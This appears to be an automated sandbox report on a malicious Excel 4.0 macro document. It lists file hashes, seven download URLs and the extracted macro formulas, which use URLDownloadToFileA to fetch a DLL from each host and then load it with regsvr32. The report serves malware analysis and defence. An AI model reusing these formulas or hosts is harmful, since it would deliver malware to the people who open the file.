General

  • Target

    57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f

  • Size

    73KB

  • Sample

    241120-21eq8szmbr

  • MD5

    b09d46c2ddc29af4b5419fd0c1c7f63c

  • SHA1

    206fe0460ee680f1f8631bb14b181d6a1d3f71ea

  • SHA256

    57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f

  • SHA512

    33338c1469bedaa8a6d8eca1ebcc36c89e91caaf7c0a609f57dbc4a9fda7df105ca3204ff4fb161b6f3f06608eb0724b1af9ec97d0093f2818d5a8ef8c214cdf

  • SSDEEP

    1536:o+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:o+1kiCtzSmICpH7OZuvZGsMe0/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

http://almoiz.com/urdu/LDlbo5gc4c/

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

http://avrworks.com/mail/tGJconiBvy59a81/

http://asave.com.mx/cgi-bin/CUa/

https://aquinoabogados.com.ar/newsletter/tx9KBb2j/

http://avcservices-tt.com/EANAPI/hswSV1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/

xlm40.dropper

http://almoiz.com/urdu/LDlbo5gc4c/

xlm40.dropper

http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/

xlm40.dropper

http://avrworks.com/mail/tGJconiBvy59a81/

Targets

    • Target

      57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f

    • Size

      73KB

    • MD5

      b09d46c2ddc29af4b5419fd0c1c7f63c

    • SHA1

      206fe0460ee680f1f8631bb14b181d6a1d3f71ea

    • SHA256

      57eead12c6cf4a2c78b9b71f4717c2446f12a886d37145b2e61a9c325e2d9b8f

    • SHA512

      33338c1469bedaa8a6d8eca1ebcc36c89e91caaf7c0a609f57dbc4a9fda7df105ca3204ff4fb161b6f3f06608eb0724b1af9ec97d0093f2818d5a8ef8c214cdf

    • SSDEEP

      1536:o+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:o+1kiCtzSmICpH7OZuvZGsMe0/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks